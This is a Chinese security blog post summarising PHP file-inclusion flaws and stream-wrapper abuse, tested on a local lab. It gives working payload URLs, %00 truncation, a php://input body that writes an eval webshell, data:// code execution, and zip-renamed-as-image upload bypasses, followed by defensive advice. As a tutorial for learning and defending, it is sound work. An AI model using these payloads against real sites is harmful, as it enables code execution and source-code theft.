安全研究

文件包含与伪协议小总结(一)

#Web安全#漏洞分析
近黑深绿蓝背景上的铜橙色协议注入流穿透断裂的安全边界,锁孔透光与半透明面板叠加,象征 PHP 文件包含漏洞与伪协议滥用

本文是 2017 年写的一篇关于 PHP 文件包含漏洞和流包装器(stream wrapper)滥用的总结,最初发在「PHP 进阶学习」板块。原始的测试矩阵和结论在此保留,并在关键处用 note 标注了 PHP 版本变化和现代加固建议,方便对比参照。

涉及的协议包括 file://php://filterphp://inputzip://compress.bzip2://compress.zlib://data://。后续会再写一篇深入各个包含函数的差异。

背景

先说下常见的文件包含函数:includerequireinclude_oncerequire_oncehighlight_fileshow_sourcereadfilefile_get_contentsfopenfile。本文重点关注 PHP 流包装器在这些函数中的行为,各个包含函数本身的差异后续再展开。

环境

涉及两个 PHP.ini 开关:

  • allow_url_fopen:默认 On。开启后 fopen 包装器可以访问 URL 风格的文件对象。
  • allow_url_include:默认 Off。开启后 include / require 可以包含 URL 风格的文件对象。注意这个开关依赖于 allow_url_fopen——单独开启 allow_url_includeallow_url_fopen 关闭是无效配置。

为了覆盖尽可能多的情况,测试横跨 PHP >=5.2——具体包括 5.2、5.3、5.5 和 7.0。更早的版本还容易受 %00 截断影响。

0x01 截断与否

用两个简单场景说明什么时候需要截断。

情况一:不需要截断

<?php
include($_GET['file'])

直接用 file:// 读取绝对路径:

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt

file:// 协议测试

情况二:需要截断

当后端追加了后缀时,截断就派上用场了:

<?php
include($_GET['file'].'.php')
http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00

file:// 截断测试

0x02 allow_url_fopen 与 allow_url_include 的组合

file://

file:// 用于访问本地文件系统,CTF 中常用来读取本地文件,不受 allow_url_fopenallow_url_include 影响。

设置
allow_url_fopen off / on
allow_url_include off / on

用法:file://[绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

参考:php.net - file:// wrapper

php://

php:// 提供对各种 I/O 流的访问。CTF 中最常用的是 php://filter(读源码)和 php://input(执行 PHP 代码)。

并非所有 php:// 子协议都需要 allow_url_include只有 php://inputphp://stdinphp://memoryphp://temp 需要 allow_url_include=on——php://filter 不需要。

参考:php.net - php:// wrapper

php://filter

php://filter 读取源码并以 base64 编码输出。如果不编码,内容会被当作 PHP 执行,源码永远看不到。

设置
allow_url_fopen off / on
allow_url_include off / on

测试:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

php://filter 介绍

php://filter 读取源码

php://input

php://input 是一个只读流,可以读取 POST 的原始 body,从而将 POST 数据当作 PHP 代码执行。

设置
allow_url_fopen off / on
allow_url_include on

测试:

http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>

也可以 POST 一句话写 shell:

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>');?>

php://input 测试

php://input 执行结果

zip://、bzip2://、zlib://

zip://bzip2://zlib:// 是压缩流,可以访问压缩包内的文件,且不要求特定文件扩展名——当上传过滤只允许某些后缀时特别有用。

设置
allow_url_fopen off / on
allow_url_include off / on

参考:php.net - Compression Streams

zip://

用法:zip://[压缩包绝对路径]#[压缩包内子文件名]

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

操作步骤:把 PHP payload 写入 phpcode.txt,压缩成 file.zip。如果允许上传 zip 就直接传;否则把 file.zip 改名为 file.jpg 上传。其他压缩格式同理。

因为 # 在 URL 中是分隔 fragment 的符号,GET 请求中必须 URL 编码为 %23。另外注意这里只能用绝对路径,相对路径不行。

zip:// 测试

compress.bzip2://

用法:compress.bzip2://file.bz2

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

bzip2:// 测试

compress.zlib://

用法:compress.zlib://file.gz

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

zlib:// 测试

data://

在 PHP 5.2 / 5.3 / 5.5 / 7.0 上的测试确认,data://allow_url_fopen 约束。早期 PHP 文档标注为「NO」,这是文档 bug,后来已修正。要使用 data://两个开关都必须开启

设置
allow_url_fopen on
allow_url_include on

参考:php.net - data:// wrapper

测试:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以去掉 //

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

data:// 测试

data:// 执行结果

0x03 总结

下表汇总了各协议在不同开关组合下的可用性(测试于 PHP >= 5.2,具体为 5.2 / 5.3 / 5.5 / 7.0):

协议 测试 PHP allow_url_fopen allow_url_include 示例
file:// >=5.2 off/on off/on ?file=file://D:/soft/phpStudy/WWW/phpcode.txt
php://filter >=5.2 off/on off/on ?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input >=5.2 off/on on ?file=php://input [POST DATA] <?php phpinfo()?>
zip:// >=5.2 off/on off/on ?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt
compress.bzip2:// >=5.2 off/on off/on ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2?file=compress.bzip2://./file.bz2
compress.zlib:// >=5.2 off/on off/on ?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz?file=compress.zlib://./file.gz
data:// >=5.2 on on ?file=data://text/plain,<?php phpinfo()?>?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

协议总结表

利用场景

文件包含漏洞的核心危害很直接:可控路径 + 可控协议 = 任意代码执行或任意文件读取。从协议层面看,攻击者通常按以下顺序尝试:

  1. 读源码:用 php://filter 把目标 PHP 源码以 base64 导出,暴露应用逻辑、密钥和配置;
  2. 写 shell:如果 allow_url_include=on,直接通过 php://inputdata:// 投递 payload;如果两者都关闭,结合上传点用 zip:// / bzip2:// / zlib:// 绕过扩展名过滤;
  3. 突破后缀追加:PHP < 5.3.4 用 %00 截断;更老的 glibc 可溢出路径长度上限。

防御

  • 白名单包含目标:对每个 include / require 枚举允许的路径,不直接拼接用户输入到路径中;
  • 保持危险开关关闭allow_url_include=Off(默认值);仅在确实需要远程包含时才开启,并配合网络层白名单;
  • 升级 PHP:PHP 5.3.4+ 修复了 %00 截断;PHP 7+ / 8.x 进一步收紧了伪协议行为和默认值;
  • 规范化路径:用 realpath() 解析并验证结果在允许的前缀内;拒绝 .. 和绝对路径;
  • 加固上传点:对上传做 MIME 检查、重命名,存放在隔离域中以化解 zip:// 等配合图片 shell 的攻击;
  • WAF / IDS 规则:URL 参数中出现 php://data://zip://compress. 时告警。

写在最后

当初写这篇总结的动机很简单——把各伪协议滥用的条件散落在各处的信息汇总到一张表里方便查阅。多年后回看,PHP 文件包含的根因从未改变:把用户输入当路径,就把钥匙交给了用户。协议在演进,开关在收紧,%00 截断已修复,但只要 include($_GET['file']) 存在,攻击面就存在。希望这篇总结能帮到刚入门安全的朋友——知己知彼,安我之防。